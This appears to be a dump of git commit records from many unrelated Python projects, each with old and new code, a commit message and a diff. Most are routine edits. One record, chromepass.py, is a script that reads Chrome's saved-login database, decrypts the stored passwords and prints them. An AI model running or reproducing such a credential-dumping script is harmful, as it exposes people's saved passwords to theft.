#
from surname_hash import surname
from female_hash import female
from male_hash import male
#
impo... | Set maximal word length limit
| |
fc7aac4f68c4b694162ed146b8b5ab2b4401895c | test/features/test_create_pages.py | test/features/test_create_pages.py | import time
import unittest
from hamcrest import *
from splinter import Browser
from support.stub_server import HttpStub
class test_create_pages(unittest.TestCase):
def setUp(self):
HttpStub.start()
time.sleep(2)
def tearDown(self):
HttpStub.stop()
def test_about_page(self):
... | import time
import unittest
from hamcrest import *
from splinter import Browser
from support.stub_server import HttpStub
class test_create_pages(unittest.TestCase):
def setUp(self):
HttpStub.start()
time.sleep(2)
def tearDown(self):
HttpStub.stop()
def test_about_page(self):
... | Test for page existing on master branch | Test for page existing on master branch
| Python | mit | alphagov/transactions-explorer,gds-attic/transactions-explorer,gds-attic/transactions-explorer,gds-attic/transactions-explorer,gds-attic/transactions-explorer,alphagov/transactions-explorer,alphagov/transactions-explorer,gds-attic/transactions-explorer,alphagov/transactions-explorer,alphagov/transactions-explorer | <REPLACE_OLD> browser.visit("http://0.0.0.0:8000/aboutData")
<REPLACE_NEW> browser.visit("http://0.0.0.0:8000/high-volume-services/by-transactions-per-year/descending.html")
<REPLACE_END> <REPLACE_OLD> assert_that(browser.is_text_present('About the transactions data'),
<REPLACE_NEW> assert_that(browser.is_text_prese... | Test for page existing on master branch
import time
import unittest
from hamcrest import *
from splinter import Browser
from support.stub_server import HttpStub
class test_create_pages(unittest.TestCase):
def setUp(self):
HttpStub.start()
time.sleep(2)
def tearDown(self):
HttpStub... |
c8785033d313f0b6b78eff4bb01c7fa2df330f0d | djpjax/middleware.py | djpjax/middleware.py | import re
from djpjax.utils import strip_pjax_parameter
from django.conf import settings
import djpjax
class DjangoPJAXMiddleware(object):
def __init__(self):
djpjax_setting = getattr(settings, 'DJPJAX_DECORATE_URLS', [])
self.decorated_urls = tuple(
(re.compile(url_regex), getattr(d... | import re
from djpjax.utils import strip_pjax_parameter
from django.conf import settings
import djpjax
class DjangoPJAXMiddleware(object):
def __init__(self):
djpjax_setting = getattr(settings, 'DJPJAX_DECORATED_URLS', [])
self.decorated_urls = tuple(
(re.compile(url_regex), getattr(... | Change setting name to DJPJAX_DECORATED_URLS. | Change setting name to DJPJAX_DECORATED_URLS.
| Python | bsd-3-clause | AlexHill/djpj,AlexHill/djpj | <REPLACE_OLD> 'DJPJAX_DECORATE_URLS', <REPLACE_NEW> 'DJPJAX_DECORATED_URLS', <REPLACE_END> <|endoftext|> import re
from djpjax.utils import strip_pjax_parameter
from django.conf import settings
import djpjax
class DjangoPJAXMiddleware(object):
def __init__(self):
djpjax_setting = getattr(settings, 'DJPJ... | Change setting name to DJPJAX_DECORATED_URLS.
import re
from djpjax.utils import strip_pjax_parameter
from django.conf import settings
import djpjax
class DjangoPJAXMiddleware(object):
def __init__(self):
djpjax_setting = getattr(settings, 'DJPJAX_DECORATE_URLS', [])
self.decorated_urls = tuple... |
1f3fce7cb415e739bdb745295807cceaf853d176 | easy_thumbnails/__init__.py | easy_thumbnails/__init__.py | VERSION = (1, 0, 'alpha', 11)
def get_version(join=' ', short=False):
"""
Return the version of this package as a string.
The version number is built from a ``VERSION`` tuple, which should consist
of integers, or trailing version information (such as 'alpha', 'beta' or
'final'). For example:
... | VERSION = (1, 0, 'alpha', 12)
def get_version(join=' ', short=False):
"""
Return the version of this package as a string.
The version number is built from a ``VERSION`` tuple, which should consist
of integers, or trailing version information (such as 'alpha', 'beta' or
'final'). For example:
... | Bump version number for another release with ducktyping in it | Bump version number for another release with ducktyping in it
| Python | bsd-3-clause | sandow-digital/easy-thumbnails-cropman,jrief/easy-thumbnails,Mactory/easy-thumbnails,emschorsch/easy-thumbnails,sandow-digital/easy-thumbnails-cropman,siovene/easy-thumbnails,jrief/easy-thumbnails,emschorsch/easy-thumbnails,SmileyChris/easy-thumbnails,jaddison/easy-thumbnails | <REPLACE_OLD> 11)
def <REPLACE_NEW> 12)
def <REPLACE_END> <|endoftext|> VERSION = (1, 0, 'alpha', 12)
def get_version(join=' ', short=False):
"""
Return the version of this package as a string.
The version number is built from a ``VERSION`` tuple, which should consist
of integers, or trailing ver... | Bump version number for another release with ducktyping in it
VERSION = (1, 0, 'alpha', 11)
def get_version(join=' ', short=False):
"""
Return the version of this package as a string.
The version number is built from a ``VERSION`` tuple, which should consist
of integers, or trailing version informat... |
8f247a0c4564af085bf6b3c9829d2892e818e565 | tools/update_manifest.py | tools/update_manifest.py | #!/usr/bin/python
import json
import os
import sys
import tempfile
import urllib2
import zipfile
# Get the manifest urls.
req = urllib2.Request(
"https://www.bungie.net//platform/Destiny/Manifest/",
headers={'X-API-Key': sys.argv[1]},
)
resp = json.loads(urllib2.urlopen(req).read())
if resp['ErrorCode'] != 1:... | #!/usr/bin/python
import json
import os
import sys
import tempfile
import urllib2
import zipfile
# Get the manifest urls.
req = urllib2.Request(
"https://www.bungie.net//platform/Destiny/Manifest/",
headers={'X-API-Key': sys.argv[1]},
)
resp = json.loads(urllib2.urlopen(req).read())
if resp['ErrorCode'] != 1:... | Add a symlink to downloaded manifest. | Add a symlink to downloaded manifest.
| Python | mit | zhirsch/destinykioskstatus,zhirsch/destinykioskstatus | <REPLACE_OLD> f.extractall()
<REPLACE_NEW> names = f.namelist()
if len(names) != 1:
raise Exception("too many entries: %s", names)
f.extractall(path=os.path.dirname(sys.argv[2]))
os.symlink(names[0], sys.argv[2])
<REPLACE_END> <|endoftext|> #!/usr/bin/python
import json
import os
im... | Add a symlink to downloaded manifest.
#!/usr/bin/python
import json
import os
import sys
import tempfile
import urllib2
import zipfile
# Get the manifest urls.
req = urllib2.Request(
"https://www.bungie.net//platform/Destiny/Manifest/",
headers={'X-API-Key': sys.argv[1]},
)
resp = json.loads(urllib2.urlopen(... |
eb72c1fbd0b6764853d63ecc6f73e4281b34d411 | alembic/versions/13f089849099_insert_school_data.py | alembic/versions/13f089849099_insert_school_data.py | """Insert school data
Revision ID: 13f089849099
Revises: 3cea1b2cfa
Create Date: 2013-05-05 22:58:35.938292
"""
# revision identifiers, used by Alembic.
revision = '13f089849099'
down_revision = '3cea1b2cfa'
from os.path import abspath, dirname, join
from alembic import op
import sqlalchemy as sa
proj_dir = dirn... | """Insert school data
Revision ID: 13f089849099
Revises: 3cea1b2cfa
Create Date: 2013-05-05 22:58:35.938292
"""
# revision identifiers, used by Alembic.
revision = '13f089849099'
down_revision = '3cea1b2cfa'
from os.path import abspath, dirname, join
from alembic import op
import sqlalchemy as sa
proj_dir = dirn... | Fix a bug in alembic downgrading script | Fix a bug in alembic downgrading script
| Python | apache-2.0 | teampopong/pokr.kr,teampopong/pokr.kr,teampopong/pokr.kr,teampopong/pokr.kr | <REPLACE_OLD> op.execute(school_t.remove())
<REPLACE_NEW> op.execute(school_t.delete())
<REPLACE_END> <|endoftext|> """Insert school data
Revision ID: 13f089849099
Revises: 3cea1b2cfa
Create Date: 2013-05-05 22:58:35.938292
"""
# revision identifiers, used by Alembic.
revision = '13f089849099'
down_revision = '3ce... | Fix a bug in alembic downgrading script
"""Insert school data
Revision ID: 13f089849099
Revises: 3cea1b2cfa
Create Date: 2013-05-05 22:58:35.938292
"""
# revision identifiers, used by Alembic.
revision = '13f089849099'
down_revision = '3cea1b2cfa'
from os.path import abspath, dirname, join
from alembic import op
... |
88be6fc33fb43290382e7ba06c6375e37ffb2ae1 | setup.py | setup.py | # Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | Add requests to dep list | Add requests to dep list
| Python | apache-2.0 | google/chatbase-python | <INSERT> install_requires=['requests'],
<INSERT_END> <|endoftext|> # Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LI... | Add requests to dep list
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
fafedf1cfdcd6c6b06dd4093a44db7429bd553eb | issues/views.py | issues/views.py | # Create your views here.
| # Python Imports
import datetime
import md5
import os
# Django Imports
from django.http import HttpResponse, HttpResponseRedirect
from django.conf import settings
from django.core import serializers
from django.contrib.auth.decorators import login_required
from django.utils.translation import gettext as _
from django.... | Add basic issue view, list, create. | [ISSUES] Add basic issue view, list, create.
| Python | bsd-3-clause | clsdaniel/iridium | <REPLACE_OLD> Create your views here.
<REPLACE_NEW> Python Imports
import datetime
import md5
import os
# Django Imports
from django.http import HttpResponse, HttpResponseRedirect
from django.conf import settings
from django.core import serializers
from django.contrib.auth.decorators import login_required
from django... | [ISSUES] Add basic issue view, list, create.
# Create your views here.
|
c99e0ac2e463302d41838f11ea28ea8a62990671 | wafer/kv/serializers.py | wafer/kv/serializers.py | from django.core.exceptions import PermissionDenied
from rest_framework import serializers
from wafer.kv.models import KeyValue
class KeyValueSerializer(serializers.ModelSerializer):
class Meta:
model = KeyValue
# There doesn't seem to be a better way of handling the problem
# of filtering the g... | from django.core.exceptions import PermissionDenied
from rest_framework import serializers
from wafer.kv.models import KeyValue
class KeyValueSerializer(serializers.ModelSerializer):
class Meta:
model = KeyValue
fields = ('group', 'key', 'value')
# There doesn't seem to be a better way of ha... | Add catchall fields property to KeyValueSerializer | Add catchall fields property to KeyValueSerializer
With the latest django-restframework, not explicitly setting the
fields for a serializer causes errors. This explicitly sets the
fields to those of the model.
| Python | isc | CTPUG/wafer,CTPUG/wafer,CTPUG/wafer,CTPUG/wafer | <REPLACE_OLD> KeyValue
<REPLACE_NEW> KeyValue
fields = ('group', 'key', 'value')
<REPLACE_END> <|endoftext|> from django.core.exceptions import PermissionDenied
from rest_framework import serializers
from wafer.kv.models import KeyValue
class KeyValueSerializer(serializers.ModelSerializer):
class Met... | Add catchall fields property to KeyValueSerializer
With the latest django-restframework, not explicitly setting the
fields for a serializer causes errors. This explicitly sets the
fields to those of the model.
from django.core.exceptions import PermissionDenied
from rest_framework import serializers
from wafer.kv.mod... |
a61d50ff6f564112c04d3a9a8ac6e57d5b99da9d | heufybot/output.py | heufybot/output.py | class OutputHandler(object):
def __init__(self, connection):
self.connection = connection
def cmdJOIN(self, channels, keys=None):
chans = channels.split(",")
for i in range(len(chans)):
if chans[i][0] not in self.connection.supportHelper.chanTypes:
chans[i] =... | class OutputHandler(object):
def __init__(self, connection):
self.connection = connection
def cmdJOIN(self, channels, keys=[]):
for i in range(len(channels)):
if channels[i][0] not in self.connection.supportHelper.chanTypes:
channels[i] = "#{}".format(channels[i])
... | Use lists for the JOIN command and parse them before sending | Use lists for the JOIN command and parse them before sending
| Python | mit | Heufneutje/PyHeufyBot,Heufneutje/PyHeufyBot | <REPLACE_OLD> keys=None):
chans = channels.split(",")
<REPLACE_NEW> keys=[]):
<REPLACE_END> <REPLACE_OLD> range(len(chans)):
<REPLACE_NEW> range(len(channels)):
<REPLACE_END> <REPLACE_OLD> chans[i][0] <REPLACE_NEW> channels[i][0] <REPLACE_END> <REPLACE_OLD> chans[i] <REPLACE_NEW> channels[i] <REPLACE_END> <... | Use lists for the JOIN command and parse them before sending
class OutputHandler(object):
def __init__(self, connection):
self.connection = connection
def cmdJOIN(self, channels, keys=None):
chans = channels.split(",")
for i in range(len(chans)):
if chans[i][0] not in self.... |
3c301335a4c39b1099c9fd29d7eebbf6506c0979 | codes/20180922/test.py | codes/20180922/test.py | # coding: utf-8
import matplotlib.pyplot as plt
import numpy as np
import os
from tqdm import trange
os.makedirs('./images/', exist_ok=True)
i = 0
for i in trange(10000, desc='saving images'):
img = np.full((64, 64, 3), 128)
plt.imshow(img / 255.)
plt.axis('off')
plt.tick_params(labelbottom=False, labelleft=Fals... | Add code that makes many images being clear memory. | Add code that makes many images being clear memory.
| Python | mit | iShoto/testpy | <REPLACE_OLD> <REPLACE_NEW> # coding: utf-8
import matplotlib.pyplot as plt
import numpy as np
import os
from tqdm import trange
os.makedirs('./images/', exist_ok=True)
i = 0
for i in trange(10000, desc='saving images'):
img = np.full((64, 64, 3), 128)
plt.imshow(img / 255.)
plt.axis('off')
plt.tick_params(labe... | Add code that makes many images being clear memory.
| |
d07d19a2d88762d9483dad07a432329759e51e67 | stack/database.py | stack/database.py | from troposphere import (
rds,
Ref,
AWS_STACK_NAME,
)
from .template import template
from .vpc import (
container_a_subnet,
container_b_subnet,
)
db_subnet_group = rds.DBSubnetGroup(
"DatabaseSubnetGroup",
template=template,
DBSubnetGroupDescription="Subnets available for the RDS DB I... | Add a multi AZ PostgreSQL `RDS` instance bound to container subnets | Add a multi AZ PostgreSQL `RDS` instance bound to container subnets
| Python | mit | caktus/aws-web-stacks,tobiasmcnulty/aws-container-basics | <INSERT> from troposphere import (
<INSERT_END> <INSERT> rds,
Ref,
AWS_STACK_NAME,
)
from .template import template
from .vpc import (
container_a_subnet,
container_b_subnet,
)
db_subnet_group = rds.DBSubnetGroup(
"DatabaseSubnetGroup",
template=template,
DBSubnetGroupDescription="Subn... | Add a multi AZ PostgreSQL `RDS` instance bound to container subnets
| |
e6d90a61fdcf78f1ab5b3f13398a66f5c1eb20b1 | setup.py | setup.py | from setuptools import setup
try:
import pypandoc
long_description = pypandoc.convert('README.md', 'rst')
except(IOError, ImportError):
long_description = open('README.md').read()
setup(
name='pyvault',
version='1.8',
description='Python password manager',
long_description=long_description... | from setuptools import setup
try:
import pypandoc
long_description = pypandoc.convert('README.md', 'rst')
except(IOError, ImportError):
long_description = open('README.md').read()
setup(
name='pyvault',
version='1.8.1',
description='Python password manager',
long_description=long_descripti... | Bump version to fix build | Bump version to fix build
| Python | mit | gabfl/vault | <REPLACE_OLD> version='1.8',
<REPLACE_NEW> version='1.8.1',
<REPLACE_END> <|endoftext|> from setuptools import setup
try:
import pypandoc
long_description = pypandoc.convert('README.md', 'rst')
except(IOError, ImportError):
long_description = open('README.md').read()
setup(
name='pyvault',
versi... | Bump version to fix build
from setuptools import setup
try:
import pypandoc
long_description = pypandoc.convert('README.md', 'rst')
except(IOError, ImportError):
long_description = open('README.md').read()
setup(
name='pyvault',
version='1.8',
description='Python password manager',
long_d... |
4f6ab3cf6effd2a7e05c56535c426f33e689f627 | chromepass.py | chromepass.py | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
if appdata[-7:] == "Roaming": #Some WINDOWS Installations point to Roaming.
appdata = appdata[:-8]
connection = sqlite3.connect(appdata + "\Local\Google\Chrome\\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execut... | Make Python3 friendly. Add appdata check and fix. | Make Python3 friendly. Add appdata check and fix.
Confirmed working on Windows 7 Python 3.4 Installation Now :D | Python | mit | hassaanaliw/chromepass | <REPLACE_OLD>
connection <REPLACE_NEW>
if appdata[-7:] == "Roaming": #Some WINDOWS Installations point to Roaming.
appdata = appdata[:-8]
connection <REPLACE_END> <REPLACE_OLD> "\..\Local\Google\Chrome\User <REPLACE_NEW> "\Local\Google\Chrome\\User <REPLACE_END> <REPLACE_OLD> password:
print 'website_link <REPLACE... | Make Python3 friendly. Add appdata check and fix.
Confirmed working on Windows 7 Python 3.4 Installation Now :D
from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor(... |
96512dd8484353bacd134a0bf9db774a166d530c | mitmproxy/platform/osx.py | mitmproxy/platform/osx.py | import subprocess
import pf
"""
Doing this the "right" way by using DIOCNATLOOK on the pf device turns out
to be a pain. Apple has made a number of modifications to the data
structures returned, and compiling userspace tools to test and work with
this turns out to be a pain in the ass. Parsing pfctl ou... | import subprocess
import pf
"""
Doing this the "right" way by using DIOCNATLOOK on the pf device turns out
to be a pain. Apple has made a number of modifications to the data
structures returned, and compiling userspace tools to test and work with
this turns out to be a pain in the ass. Parsing pfctl ou... | Include correct documentation URL in error message | Include correct documentation URL in error message | Python | mit | mhils/mitmproxy,laurmurclar/mitmproxy,vhaupert/mitmproxy,dufferzafar/mitmproxy,mitmproxy/mitmproxy,laurmurclar/mitmproxy,cortesi/mitmproxy,vhaupert/mitmproxy,StevenVanAcker/mitmproxy,jvillacorta/mitmproxy,mitmproxy/mitmproxy,zlorb/mitmproxy,StevenVanAcker/mitmproxy,dwfreed/mitmproxy,Kriechi/mitmproxy,dwfreed/mitmproxy,... | <REPLACE_OLD> http://mitmproxy.org/doc/transparent/osx.html <REPLACE_NEW> http://docs.mitmproxy.org/en/latest/transparent/osx.html <REPLACE_END> <|endoftext|> import subprocess
import pf
"""
Doing this the "right" way by using DIOCNATLOOK on the pf device turns out
to be a pain. Apple has made a number of modi... | Include correct documentation URL in error message
import subprocess
import pf
"""
Doing this the "right" way by using DIOCNATLOOK on the pf device turns out
to be a pain. Apple has made a number of modifications to the data
structures returned, and compiling userspace tools to test and work with
this ... |
0562f34398041e6696f6e9bad56ea2a135968b77 | paratemp/sim_setup/pt_simulation.py | paratemp/sim_setup/pt_simulation.py | """This contains code for setting up parallel tempering calcs"""
########################################################################
# #
# This script was written by Thomas Heavey in 2019. #
# theavey@bu.edu thomasj... | """This contains code for setting up parallel tempering calcs"""
########################################################################
# #
# This script was written by Thomas Heavey in 2019. #
# theavey@bu.edu thomasj... | Fix typo in inheritence/super call | Fix typo in inheritence/super call
| Python | apache-2.0 | theavey/ParaTemp,theavey/ParaTemp | <REPLACE_OLD> super(Simulation, <REPLACE_NEW> super(PTSimulation, <REPLACE_END> <|endoftext|> """This contains code for setting up parallel tempering calcs"""
########################################################################
# #
# This script ... | Fix typo in inheritence/super call
"""This contains code for setting up parallel tempering calcs"""
########################################################################
# #
# This script was written by Thomas Heavey in 2019. #... |
35af67eb270c5ee177eb264c339c6f9dd390a288 | fits/make_fit_feedmes.py | fits/make_fit_feedmes.py | #!/usr/bin/env python
from glob import glob
import os
import re
def make_feedmes():
# One-time script
# Used to convert all the fit*.galfit files to fit*.diff
ids = glob('*/')
for id in ids:
os.chdir(id)
feedmes = glob('fit*diff')
# output starting models
for f in feedm... | #!/usr/bin/env python
from glob import glob
import os
import re
def make_feedmes():
# One-time script
# Used to convert all the fit*.galfit files to fit*.diff
ids = glob('*/')
for id in ids:
os.chdir(id)
feedmes = glob('fit*diff')
# output starting models
for f in feedm... | Make sure all fit feedmes get made | Make sure all fit feedmes get made
| Python | mit | MegaMorph/galfitm-illustrations,MegaMorph/galfitm-illustrations | <REPLACE_OLD> r'fit(.).*(\d)(n|m){0,1}([ugrizYJHK]{0,1})([abcde]{0,1})'
<REPLACE_NEW> r'fit(.*)(\d)(n|m){0,1}([ugrizYJHK]{0,1})([abcde]{0,1})'
<REPLACE_END> <INSERT> print matchobj.groups()
<INSERT_END> <REPLACE_OLD> 'A':
<REPLACE_NEW> 'A' or matchobj.group(5) != '':
<REPLACE_END> <|endoftext|> #!/usr/b... | Make sure all fit feedmes get made
#!/usr/bin/env python
from glob import glob
import os
import re
def make_feedmes():
# One-time script
# Used to convert all the fit*.galfit files to fit*.diff
ids = glob('*/')
for id in ids:
os.chdir(id)
feedmes = glob('fit*diff')
# output st... |
128506f0e21bff78ab3612602b17eb13658e837d | utils/clear_redis.py | utils/clear_redis.py | """Utility for clearing all keys out of redis -- do not use in production!"""
import sys
from optparse import OptionParser
import redis
def option_parser():
parser = OptionParser()
parser.add_option("-d", "--db",
type="int", dest="db", default=1,
help="Redis DB to... | """Utility for clearing all keys out of redis -- do not use in production!"""
import sys
from optparse import OptionParser
import redis
def option_parser():
parser = OptionParser()
parser.add_option("-d", "--db",
type="int", dest="db", default=1,
help="Redis DB to... | Print which DB will be cleared. | Print which DB will be cleared.
| Python | bsd-3-clause | vishwaprakashmishra/xmatrix,TouK/vumi,vishwaprakashmishra/xmatrix,harrissoerja/vumi,harrissoerja/vumi,TouK/vumi,TouK/vumi,harrissoerja/vumi,vishwaprakashmishra/xmatrix | <REPLACE_OLD> keys. <REPLACE_NEW> keys in db %d. <REPLACE_END> <REPLACE_OLD> ")
<REPLACE_NEW> " %
(options.db,))
<REPLACE_END> <|endoftext|> """Utility for clearing all keys out of redis -- do not use in production!"""
import sys
from optparse import OptionParser
import redis
def optio... | Print which DB will be cleared.
"""Utility for clearing all keys out of redis -- do not use in production!"""
import sys
from optparse import OptionParser
import redis
def option_parser():
parser = OptionParser()
parser.add_option("-d", "--db",
type="int", dest="db", default=1,
... |
74a4023c3d9e02d13456fca285e8f64eb8358434 | elasticsearch_flex/analysis_utils.py | elasticsearch_flex/analysis_utils.py | import logging
from elasticsearch_dsl.analysis import CustomAnalyzer
logger = logging.getLogger(__name__)
class AnalysisDefinition(object):
'''
This defines a helper class for registering search analyzers.
Analyzers can be defined as callables, hence ensuring io/cpu bound analysis
configuration can ... | Add AnalysisDefinition helper for configuring analyzers | Add AnalysisDefinition helper for configuring analyzers
| Python | mit | prashnts/dj-elasticsearch-flex,prashnts/dj-elasticsearch-flex | <REPLACE_OLD> <REPLACE_NEW> import logging
from elasticsearch_dsl.analysis import CustomAnalyzer
logger = logging.getLogger(__name__)
class AnalysisDefinition(object):
'''
This defines a helper class for registering search analyzers.
Analyzers can be defined as callables, hence ensuring io/cpu bound an... | Add AnalysisDefinition helper for configuring analyzers
| |
a9796c68c24c3e8a059c54aad6eee2d0b61a9041 | test/psyco.py | test/psyco.py | import _psyco
import sys
ticks = 0
depth = 10
funcs = {}
def f(frame, event, arg):
if event != 'call': return
c = frame.f_code.co_code
fn = frame.f_code.co_name
g = frame.f_globals
if not funcs.has_key(c):
funcs[c] = 1
if funcs[c] != None:
funcs[c] = funcs[c] + 1
if fu... | import _psyco
_psyco.selective(1) # Argument is number of invocations before rebinding
# import sys
# ticks = 0
# depth = 10
# funcs = {}
# def f(frame, event, arg):
# if event != 'call': return
# print type(frame.f_globals)
# c = frame.f_code.co_code
# fn = frame.f_code.co_name
# g = ... | Use c-version of the selective compilation | Use c-version of the selective compilation
| Python | mit | tonysimpson/Ni,tonysimpson/Ni,tonysimpson/Ni,tonysimpson/Ni,tonysimpson/Ni | <REPLACE_OLD> _psyco
import sys
ticks <REPLACE_NEW> _psyco
_psyco.selective(1) # Argument is number of invocations before rebinding
# import sys
# ticks <REPLACE_END> <REPLACE_OLD> 0
depth <REPLACE_NEW> 0
# depth <REPLACE_END> <REPLACE_OLD> 10
funcs <REPLACE_NEW> 10
# funcs <REPLACE_END> <REPLACE_OLD> {}
def <R... | Use c-version of the selective compilation
import _psyco
import sys
ticks = 0
depth = 10
funcs = {}
def f(frame, event, arg):
if event != 'call': return
c = frame.f_code.co_code
fn = frame.f_code.co_name
g = frame.f_globals
if not funcs.has_key(c):
funcs[c] = 1
if funcs[c] != None:
... |
6e307688aede207fcdcb5e8ccb86a548dd12c2b4 | src/metpy/_version.py | src/metpy/_version.py | # Copyright (c) 2019 MetPy Developers.
# Distributed under the terms of the BSD 3-Clause License.
# SPDX-License-Identifier: BSD-3-Clause
"""Tools for versioning."""
def get_version():
"""Get MetPy's version.
Either get it from package metadata, or get it using version control information if
a developmen... | # Copyright (c) 2019 MetPy Developers.
# Distributed under the terms of the BSD 3-Clause License.
# SPDX-License-Identifier: BSD-3-Clause
"""Tools for versioning."""
def get_version():
"""Get MetPy's version.
Either get it from package metadata, or get it using version control information if
a developmen... | Fix getting version for development install | MNT: Fix getting version for development install
Path wasn't updated when we moved source code to 'src/'.
| Python | bsd-3-clause | dopplershift/MetPy,Unidata/MetPy,dopplershift/MetPy,Unidata/MetPy | <REPLACE_OLD> get_version(root='..', <REPLACE_NEW> get_version(root='../..', <REPLACE_END> <|endoftext|> # Copyright (c) 2019 MetPy Developers.
# Distributed under the terms of the BSD 3-Clause License.
# SPDX-License-Identifier: BSD-3-Clause
"""Tools for versioning."""
def get_version():
"""Get MetPy's version.
... | MNT: Fix getting version for development install
Path wasn't updated when we moved source code to 'src/'.
# Copyright (c) 2019 MetPy Developers.
# Distributed under the terms of the BSD 3-Clause License.
# SPDX-License-Identifier: BSD-3-Clause
"""Tools for versioning."""
def get_version():
"""Get MetPy's versio... |
c3f8bac3571689349df5340c3ce06b3e4c100b7b | django_olcc/olcc/forms.py | django_olcc/olcc/forms.py | from django import forms
from olcc.models import Store
COUNTIES = (
(u'baker', u'Baker'),
(u'benton', u'Benton'),
(u'clackamas', u'Clackamas'),
(u'clatsop', u'Clatsop'),
(u'columbia', u'Columbia'),
(u'coos', u'Coos'),
(u'crook', u'Crook'),
(u'curry', u'Curry'),
(u'deschutes', u'Des... | Add a basic CountyForm for allowing the visitor to select from a list of Oregon counties. | Add a basic CountyForm for allowing the visitor to select from a list of Oregon counties.
| Python | mit | twaddington/django-olcc,twaddington/django-olcc,twaddington/django-olcc | <REPLACE_OLD> <REPLACE_NEW> from django import forms
from olcc.models import Store
COUNTIES = (
(u'baker', u'Baker'),
(u'benton', u'Benton'),
(u'clackamas', u'Clackamas'),
(u'clatsop', u'Clatsop'),
(u'columbia', u'Columbia'),
(u'coos', u'Coos'),
(u'crook', u'Crook'),
(u'curry', u'Curr... | Add a basic CountyForm for allowing the visitor to select from a list of Oregon counties.
| |
79f92d050fbf9ebe4f088aeabb5e832abeefe0d5 | tests/test_coursera.py | tests/test_coursera.py | import unittest
from mooc_aggregator_restful_api import coursera
class CourseraTestCase(unittest.TestCase):
'''
Unit Tests for module udacity
'''
def setUp(self):
self.coursera_test_object = coursera.CourseraAPI()
def test_coursera_api_courses_response(self):
self.assertEqual(s... | Initialize unit tests for Coursera API module | Initialize unit tests for Coursera API module
| Python | mit | ueg1990/mooc_aggregator_restful_api | <INSERT> import unittest
from mooc_aggregator_restful_api import coursera
class CourseraTestCase(unittest.TestCase):
<INSERT_END> <INSERT> '''
Unit Tests for module udacity
'''
def setUp(self):
self.coursera_test_object = coursera.CourseraAPI()
def test_coursera_api_courses_response(sel... | Initialize unit tests for Coursera API module
| |
370d0604cf3abebc56f0a39efcf3cc5c3d908808 | nex_profile.py | nex_profile.py | import cProfile as prof
import os.path as opath
from nex.nex import run_file
from nex.utils import get_default_font_paths
from nex.box_writer import write_to_dvi_file
dir_path = opath.dirname(opath.realpath(__file__))
font_search_paths = get_default_font_paths() + [
dir_path,
opath.join(dir_path, 'fonts'),... | Add little script used for profiling | Add little script used for profiling
| Python | mit | eddiejessup/nex | <INSERT> import cProfile as prof
import os.path as opath
from nex.nex import run_file
from nex.utils import get_default_font_paths
from nex.box_writer import write_to_dvi_file
dir_path = opath.dirname(opath.realpath(__file__))
font_search_paths = get_default_font_paths() + [
<INSERT_END> <INSERT> dir_path,
... | Add little script used for profiling
| |
4dc9c81a5a1917310a8fa0da688c1c6c94e746f3 | dbconnect.py | dbconnect.py | import os
from shutil import copyfile
from datetime import datetime
from infi.clickhouse_orm import models, fields, engines
from infi.clickhouse_orm.database import Database
if not os.path.isfile("settings.py"):
copyfile("settings.py.example", "settings.py")
from settings import (CLICKHOUSEIP, CLICKHOUSEPORT,
... | Add db connector and insert function | Add db connector and insert function
| Python | mit | Zloool/manyfaced-honeypot | <REPLACE_OLD> <REPLACE_NEW> import os
from shutil import copyfile
from datetime import datetime
from infi.clickhouse_orm import models, fields, engines
from infi.clickhouse_orm.database import Database
if not os.path.isfile("settings.py"):
copyfile("settings.py.example", "settings.py")
from settings import (CLIC... | Add db connector and insert function
| |
1175a7da5583f58915cfe7991ba250cb19db39f7 | pysswords/credential.py | pysswords/credential.py | import os
class Credential(object):
def __init__(self, name, login, password, comments):
self.name = name
self.login = login
self.password = password
self.comments = comments
def save(self, database_path):
credential_path = os.path.join(database_path, self.name)
... | import os
class Credential(object):
def __init__(self, name, login, password, comments):
self.name = name
self.login = login
self.password = password
self.comments = comments
def save(self, database_path):
credential_path = os.path.join(database_path, self.name)
... | Change string formating for Credential | Change string formating for Credential
| Python | mit | marcwebbie/passpie,scorphus/passpie,marcwebbie/pysswords,eiginn/passpie,marcwebbie/passpie,scorphus/passpie,eiginn/passpie | <REPLACE_OLD> "<Credential: name={}, <REPLACE_NEW> "<name={}, <REPLACE_END> <|endoftext|> import os
class Credential(object):
def __init__(self, name, login, password, comments):
self.name = name
self.login = login
self.password = password
self.comments = comments
def save(sel... | Change string formating for Credential
import os
class Credential(object):
def __init__(self, name, login, password, comments):
self.name = name
self.login = login
self.password = password
self.comments = comments
def save(self, database_path):
credential_path = os.pa... |
1782b15b244597d56bff18c465237c7e1f3ab482 | wikked/commands/users.py | wikked/commands/users.py | import logging
import getpass
from wikked.bcryptfallback import generate_password_hash
from wikked.commands.base import WikkedCommand, register_command
logger = logging.getLogger(__name__)
@register_command
class UsersCommand(WikkedCommand):
def __init__(self):
super(UsersCommand, self).__init__()
... | import logging
import getpass
from wikked.bcryptfallback import generate_password_hash
from wikked.commands.base import WikkedCommand, register_command
logger = logging.getLogger(__name__)
@register_command
class UsersCommand(WikkedCommand):
def __init__(self):
super(UsersCommand, self).__init__()
... | Add some explanation as to what to do with the output. | newuser: Add some explanation as to what to do with the output.
